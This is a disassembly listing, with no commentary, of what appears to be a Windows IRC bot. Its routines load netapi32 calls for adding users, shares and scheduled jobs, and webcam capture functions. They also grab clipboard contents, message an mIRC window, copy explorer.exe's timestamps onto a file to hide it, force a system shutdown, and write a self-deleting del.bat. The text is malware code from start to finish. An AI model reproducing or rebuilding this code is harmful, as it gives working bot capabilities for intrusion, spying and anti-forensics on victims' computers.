push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov ds:dword_43C5A4, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov ds:dword_43C6D0, eax
call esi
cmp ds:dword_43C5A4, ebx
mov ds:dword_43C53C, eax
jz short loc_40A150
cmp ds:dword_43C6D0, ebx
jz short loc_40A150
cmp eax, ebx
jnz short loc_40A15A
jmp short loc_40A150
; ---------------------------------------------------------------------------
loc_40A145: ; CODE XREF: sub_40981A+8ECj
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C70C, eax
loc_40A150: ; CODE XREF: sub_40981A+91Bj
; sub_40981A+923j ...
mov ds:dword_43C708, 1
loc_40A15A: ; CODE XREF: sub_40981A+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A250
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov ds:dword_43C518, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov ds:dword_43C4F0, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov ds:dword_43C564, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov ds:dword_43C598, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov ds:dword_43C6A8, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov ds:dword_43C550, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov ds:dword_43C4FC, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov ds:dword_43C4EC, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov ds:dword_43C580, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov ds:dword_43C670, eax
call esi
cmp ds:dword_43C518, ebx
mov ds:dword_43C628, eax
jz short loc_40A25B
cmp ds:dword_43C4F0, ebx
jz short loc_40A25B
cmp ds:dword_43C564, ebx
jz short loc_40A25B
cmp ds:dword_43C598, ebx
jz short loc_40A25B
cmp ds:dword_43C6A8, ebx
jz short loc_40A25B
cmp ds:dword_43C550, ebx
jz short loc_40A25B
cmp ds:dword_43C4FC, ebx
jz short loc_40A25B
cmp ds:dword_43C4EC, ebx
jz short loc_40A25B
cmp ds:dword_43C580, ebx
jz short loc_40A25B
cmp ds:dword_43C670, ebx
jz short loc_40A25B
cmp eax, ebx
jnz short loc_40A265
jmp short loc_40A25B
; ---------------------------------------------------------------------------
loc_40A250: ; CODE XREF: sub_40981A+94Bj
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C714, eax
loc_40A25B: ; CODE XREF: sub_40981A+9E6j
; sub_40981A+9EEj ...
mov ds:dword_43C710, 1
loc_40A265: ; CODE XREF: sub_40981A+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A29A
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov ds:dword_43C540, eax
call esi
cmp ds:dword_43C540, ebx
mov ds:dword_43C610, eax
jz short loc_40A2A5
cmp eax, ebx
jnz short loc_40A2AF
jmp short loc_40A2A5
; ---------------------------------------------------------------------------
loc_40A29A: ; CODE XREF: sub_40981A+A56j
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C71C, eax
loc_40A2A5: ; CODE XREF: sub_40981A+A78j
; sub_40981A+A7Ej
mov ds:dword_43C718, 1
loc_40A2AF: ; CODE XREF: sub_40981A+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A2E4
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov ds:dword_43C694, eax
call esi
cmp ds:dword_43C694, ebx
mov ds:dword_43C690, eax
jz short loc_40A2EF
cmp eax, ebx
jnz short loc_40A2F9
jmp short loc_40A2EF
; ---------------------------------------------------------------------------
loc_40A2E4: ; CODE XREF: sub_40981A+AA0j
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C724, eax
loc_40A2EF: ; CODE XREF: sub_40981A+AC2j
; sub_40981A+AC8j
mov ds:dword_43C720, 1
loc_40A2F9: ; CODE XREF: sub_40981A+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A358
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov ds:dword_43C6C0, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov ds:dword_43C6B8, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov ds:dword_43C680, eax
call esi
cmp ds:dword_43C6C0, ebx
mov ds:dword_43C558, eax
jz short loc_40A363
cmp ds:dword_43C6B8, ebx
jz short loc_40A363
cmp ds:dword_43C680, ebx
jz short loc_40A363
cmp eax, ebx
jnz short loc_40A36D
jmp short loc_40A363
; ---------------------------------------------------------------------------
loc_40A358: ; CODE XREF: sub_40981A+AEAj
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C72C, eax
loc_40A363: ; CODE XREF: sub_40981A+B26j
; sub_40981A+B2Ej ...
mov ds:dword_43C728, 1
loc_40A36D: ; CODE XREF: sub_40981A+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A3A2
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov ds:dword_43C58C, eax
call esi
cmp ds:dword_43C58C, ebx
mov ds:dword_43C68C, eax
jz short loc_40A3AD
cmp eax, ebx
jnz short loc_40A3B7
jmp short loc_40A3AD
; ---------------------------------------------------------------------------
loc_40A3A2: ; CODE XREF: sub_40981A+B5Ej
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C734, eax
loc_40A3AD: ; CODE XREF: sub_40981A+B80j
; sub_40981A+B86j
mov ds:dword_43C730, 1
loc_40A3B7: ; CODE XREF: sub_40981A+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A440
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov ds:dword_43C654, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov ds:dword_43C6A0, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov ds:dword_43C5DC, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov ds:dword_43C59C, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov ds:dword_43C634, eax
call esi
cmp ds:dword_43C654, ebx
mov ds:dword_43C5A8, eax
jz short loc_40A44B
cmp ds:dword_43C6A0, ebx
jz short loc_40A44B
cmp ds:dword_43C5DC, ebx
jz short loc_40A44B
cmp ds:dword_43C59C, ebx
jz short loc_40A44B
cmp ds:dword_43C634, ebx
jz short loc_40A44B
cmp eax, ebx
jnz short loc_40A455
jmp short loc_40A44B
; ---------------------------------------------------------------------------
loc_40A440: ; CODE XREF: sub_40981A+BA8j
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C73C, eax
loc_40A44B: ; CODE XREF: sub_40981A+BFEj
; sub_40981A+C06j ...
mov ds:dword_43C738, 1
loc_40A455: ; CODE XREF: sub_40981A+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A48A
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov ds:dword_43C570, eax
call esi
cmp ds:dword_43C570, ebx
mov ds:dword_43C648, eax
jz short loc_40A495
cmp eax, ebx
jnz short loc_40A49F
jmp short loc_40A495
; ---------------------------------------------------------------------------
loc_40A48A: ; CODE XREF: sub_40981A+C46j
call ds:dword_423088 ; RtlGetLastWin32Error
mov ds:dword_43C744, eax
loc_40A495: ; CODE XREF: sub_40981A+C68j
; sub_40981A+C6Ej
mov ds:dword_43C740, 1
loc_40A49F: ; CODE XREF: sub_40981A+C6Cj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40981A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40A4A7(int,char *Str,int,int)
sub_40A4A7 proc near ; CODE XREF: sub_40EE51+57ABp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+Str]
push esi
xor esi, esi
cmp ds:dword_43C6D8, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A4EF
push ds:dword_43C6DC
lea eax, [ebp+Dest]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A4EF: ; CODE XREF: sub_40A4A7+1Aj
cmp ds:dword_43C6E0, esi
jz short loc_40A523
push ds:dword_43C6E4
lea eax, [ebp+Dest]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A523: ; CODE XREF: sub_40A4A7+4Ej
cmp ds:dword_43C6E8, esi
jz short loc_40A557
push ds:dword_43C6EC
lea eax, [ebp+Dest]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A557: ; CODE XREF: sub_40A4A7+82j
cmp ds:dword_43C6F0, esi
jz short loc_40A58B
push ds:dword_43C6F4
lea eax, [ebp+Dest]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A58B: ; CODE XREF: sub_40A4A7+B6j
cmp ds:dword_43C6F8, esi
jz short loc_40A5BF
push ds:dword_43C6FC
lea eax, [ebp+Dest]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A5BF: ; CODE XREF: sub_40A4A7+EAj
cmp ds:dword_43C700, esi
jz short loc_40A5F3
push ds:dword_43C704
lea eax, [ebp+Dest]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A5F3: ; CODE XREF: sub_40A4A7+11Ej
cmp ds:dword_43C708, esi
jz short loc_40A627
push ds:dword_43C70C
lea eax, [ebp+Dest]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A627: ; CODE XREF: sub_40A4A7+152j
cmp ds:dword_43C710, esi
jz short loc_40A65B
push ds:dword_43C714
lea eax, [ebp+Dest]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A65B: ; CODE XREF: sub_40A4A7+186j
cmp ds:dword_43C718, esi
jz short loc_40A68F
push ds:dword_43C71C
lea eax, [ebp+Dest]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A68F: ; CODE XREF: sub_40A4A7+1BAj
cmp ds:dword_43C720, esi
jz short loc_40A6C3
push ds:dword_43C724
lea eax, [ebp+Dest]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A6C3: ; CODE XREF: sub_40A4A7+1EEj
cmp ds:dword_43C728, esi
jz short loc_40A6F7
push ds:dword_43C72C
lea eax, [ebp+Dest]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A6F7: ; CODE XREF: sub_40A4A7+222j
cmp ds:dword_43C730, esi
jz short loc_40A72B
push ds:dword_43C734
lea eax, [ebp+Dest]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A72B: ; CODE XREF: sub_40A4A7+256j
cmp ds:dword_43C738, esi
jz short loc_40A75F
push ds:dword_43C73C
lea eax, [ebp+Dest]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A75F: ; CODE XREF: sub_40A4A7+28Aj
cmp ds:dword_43C740, esi
jz short loc_40A793
push ds:dword_43C744
lea eax, [ebp+Dest]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
loc_40A793: ; CODE XREF: sub_40A4A7+2BEj
lea eax, [ebp+Dest]
push offset unk_42C764 ; Format
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A7C0
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_40A7C0: ; CODE XREF: sub_40A4A7+302j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A4A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40A7D2(char *Src,char *SubStr,char *Str)
sub_40A7D2 proc near ; CODE XREF: sub_40EE51+C4Fp
; sub_40EE51+C83p ...
Src = dword ptr 8
SubStr = dword ptr 0Ch
Str = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Src]
xor esi, esi
cmp edi, esi
jz short loc_40A85D
mov eax, [ebp+SubStr]
cmp eax, esi
jz short loc_40A85D
cmp [ebp+Str], esi
jz short loc_40A85D
cmp byte ptr [eax], 0
jz short loc_40A85D
push ebx
push edi ; Src
call __strdup
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_40A858
push [ebp+SubStr] ; SubStr
push edi ; Str
call _strstr
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40A851
sub eax, edi
push eax ; Count
push edi ; Source
push ebx ; Dest
call _strncpy
push [ebp+Str] ; Str
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call _strlen
push eax ; Count
push [ebp+Str] ; Source
push ebx ; Dest
call _strncat
push [ebp+SubStr] ; Str
call _strlen
add eax, esi
push eax ; Source
push ebx ; Dest
call _strcat
push ebx ; Source
push edi ; Dest
call _strcpy
add esp, 30h
mov esi, edi
loc_40A851: ; CODE XREF: sub_40A7D2+3Cj
push ebx ; Memory
call _free
pop ecx
loc_40A858: ; CODE XREF: sub_40A7D2+2Bj
mov eax, esi
pop ebx
jmp short loc_40A85F
; ---------------------------------------------------------------------------
loc_40A85D: ; CODE XREF: sub_40A7D2+Cj
; sub_40A7D2+13j ...
xor eax, eax
loc_40A85F: ; CODE XREF: sub_40A7D2+89j
pop edi
pop esi
pop ebp
retn
sub_40A7D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40A863(char *Str,int)
sub_40A863 proc near ; CODE XREF: sub_40ECD9+E9p
Dst = dword ptr -7D0h
var_7CC = byte ptr -7CCh
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
mov esi, [ebp+Str]
push esi ; Str
call _strlen
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_40A899
or eax, 0FFFFFFFFh
jmp short loc_40A90C
; ---------------------------------------------------------------------------
loc_40A899: ; CODE XREF: sub_40A863+2Fj
; DATA XREF: UPX0:00427424o ...
xor ecx, ecx
mov [ebp+Dst], esi
test eax, eax
jle short loc_40A8BB
loc_40A8A5: ; CODE XREF: sub_40A863+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_40A8B2
cmp dl, 0Dh
jnz short loc_40A8B6
loc_40A8B2: ; CODE XREF: sub_40A863+48j
and byte ptr [ecx+esi], 0
loc_40A8B6: ; CODE XREF: sub_40A863+4Dj
inc ecx
cmp ecx, eax
jl short loc_40A8A5
loc_40A8BB: ; CODE XREF: sub_40A863+40j
xor edx, edx
push edi
test eax, eax
jle short loc_40A8EC
lea edi, [ebp+var_7CC]
loc_40A8C8: ; CODE XREF: sub_40A863+87j
cmp byte ptr [edx+esi], 0
jnz short loc_40A8E7
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_40A8E7
cmp ebx, 1F4h
jge short loc_40A8EC
mov [edi], ecx
inc ebx
add edi, 4
loc_40A8E7: ; CODE XREF: sub_40A863+69j
; sub_40A863+74j
inc edx
cmp edx, eax
jl short loc_40A8C8
loc_40A8EC: ; CODE XREF: sub_40A863+5Dj
; sub_40A863+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_40A90A
lea eax, [ebp+Dst]
push 7D0h ; Size
push eax ; Src
push [ebp+arg_4] ; Dst
call _memcpy
add esp, 0Ch
loc_40A90A: ; CODE XREF: sub_40A863+8Ej
mov eax, ebx
loc_40A90C: ; CODE XREF: sub_40A863+34j
pop esi
pop ebx
leave
retn
sub_40A863 endp
; =============== S U B R O U T I N E =======================================
sub_40A910 proc near ; CODE XREF: sub_40A96A+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_40A949
push ebx
mov ebx, edi
loc_40A92D: ; CODE XREF: sub_40A910+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_40A94C
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_40A92D
pop ebx
loc_40A949: ; CODE XREF: sub_40A910+18j
pop edi
pop esi
retn
sub_40A910 endp
; =============== S U B R O U T I N E =======================================
sub_40A94C proc near ; CODE XREF: sub_40A910+25p
; sub_40A96A+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax ; C
call _tolower ; _tolower
cmp al, 61h
pop ecx
jl short loc_40A967
cmp al, 7Ah
jg short loc_40A967
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_40A967: ; CODE XREF: sub_40A94C+Ej
; sub_40A94C+12j
xor eax, eax
retn
sub_40A94C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40A96A(char *Str,int)
sub_40A96A proc near ; CODE XREF: sub_40C04F+10p
; sub_40C081+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call __alloca_probe
push ebx
push esi
push edi
push [ebp+Str] ; Str
call _strlen
push [ebp+arg_4] ; Str
mov [ebp+var_4], eax
call _strlen
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_40A910
add esp, 14h
dec esi
mov edi, esi
loc_40A9A8: ; CODE XREF: sub_40A96A+B6j
test esi, esi
jle short loc_40AA26
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
mov ebx, eax
mov eax, [ebp+Str]
movsx eax, byte ptr [edi+eax]
push eax ; C
call _tolower ; _tolower
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40AA1E
loc_40A9CE: ; CODE XREF: sub_40A96A+B2j
mov ebx, [ebp+Str]
mov al, [edi+ebx]
push eax
call sub_40A94C
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_40A9EF
mov eax, ecx
loc_40A9EF: ; CODE XREF: sub_40A96A+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_40AA22
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax ; C
mov [ebp+var_8], edx
call _tolower ; _tolower
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_40A9CE
loc_40AA1E: ; CODE XREF: sub_40A96A+62j
dec edi
dec esi
jmp short loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AA22: ; CODE XREF: sub_40A96A+8Aj
xor eax, eax
jmp short loc_40AA2B
; ---------------------------------------------------------------------------
loc_40AA26: ; CODE XREF: sub_40A96A+40j
mov eax, [ebp+Str]
add eax, edi
loc_40AA2B: ; CODE XREF: sub_40A96A+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_40A96A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA30 proc near ; CODE XREF: sub_40EE51+3C94p
; sub_40EE51+4AD0p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_423088 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call ds:dword_423100
lea eax, [ebp+var_100]
loc_40AA69: ; CODE XREF: sub_40AA30+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_40AA75
cmp cl, 9
jnz short loc_40AA78
loc_40AA75: ; CODE XREF: sub_40AA30+3Ej
inc eax
jmp short loc_40AA69
; ---------------------------------------------------------------------------
loc_40AA78: ; CODE XREF: sub_40AA30+43j
; sub_40AA30+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_40AA92
mov cl, [eax]
cmp cl, 2Eh
jz short loc_40AA78
cmp cl, 21h
jl short loc_40AA78
loc_40AA92: ; CODE XREF: sub_40AA30+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset byte_43C748
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h ; Count
push esi ; Dest
call __snprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AA30 endp
; =============== S U B R O U T I N E =======================================
sub_40AABA proc near ; CODE XREF: sub_40EE51+5712p
push esi
push 0
call ds:dword_43C5E8 ; OpenClipboard
test eax, eax
jz short loc_40AAF1
push 1
call ds:dword_43C608 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_40AAF1
push edi
push esi
call ds:dword_423108
push esi
mov edi, eax
call ds:dword_423104
call ds:dword_43C66C ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AAF1: ; CODE XREF: sub_40AABA+Bj
; sub_40AABA+19j
xor eax, eax
pop esi
retn
sub_40AABA endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40AAF5(char *Format)
sub_40AAF5 proc near ; CODE XREF: sub_40EE51+48C0p
Format = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call ds:dword_43C624 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_40AB71
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call ds:dword_423114
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call ds:dword_423000
push [esp+10h+Format] ; Format
mov ebx, eax
push ebx ; Dest
call _sprintf
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call ds:dword_43C674 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call ds:dword_43C674 ; SendMessageA
push ebx
call ds:dword_42310C
push edi
call ds:dword_423074
push 1
pop eax
pop ebx
jmp short loc_40AB73
; ---------------------------------------------------------------------------
loc_40AB71: ; CODE XREF: sub_40AAF5+16j
xor eax, eax
loc_40AB73: ; CODE XREF: sub_40AAF5+7Aj
pop edi
pop esi
pop ebp
retn
sub_40AAF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB77 proc near ; CODE XREF: sub_40E68B+20Fp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call ds:dword_43C6D4 ; SearchPathA
test eax, eax
jz short loc_40AC16
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_423080
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40AC16
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call ds:dword_42311C ; GetFileTime
push ebx
mov ebx, ds:dword_423074
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40AC16
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_423118 ; SetFileTime
push esi
call ebx
loc_40AC16: ; CODE XREF: sub_40AB77+2Aj
; sub_40AB77+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40AB77 endp
; =============== S U B R O U T I N E =======================================
sub_40AC1B proc near ; CODE XREF: sub_40EE51+13B5p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_41510E
pop ecx
pop ecx
push 50005h
push 6
call ds:dword_43C560 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_40AC1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC3D proc near ; CODE XREF: sub_40CAF1+472p
; sub_40EE51+59B7p
Str = byte ptr -764h
var_364 = byte ptr -364h
Dest = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
Dst = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp ds:dword_42E5BC, esi
push edi
jz short loc_40AC61
cmp ds:dword_43C6E8, esi
jnz short loc_40AC61
push esi ; Str
call sub_40C1B0
pop ecx
loc_40AC61: ; CODE XREF: sub_40AC3D+13j
; sub_40AC3D+1Bj
call sub_416F11
lea eax, [ebp+Str]
push eax
push 400h
call ds:dword_42312C ; GetTempPathA
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset aSdel_bat ; "%sdel.bat"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dest]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_423080
mov edi, eax
cmp edi, esi
jbe loc_40ADC1
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+Str]
push eax ; Str
call _strlen
pop ecx
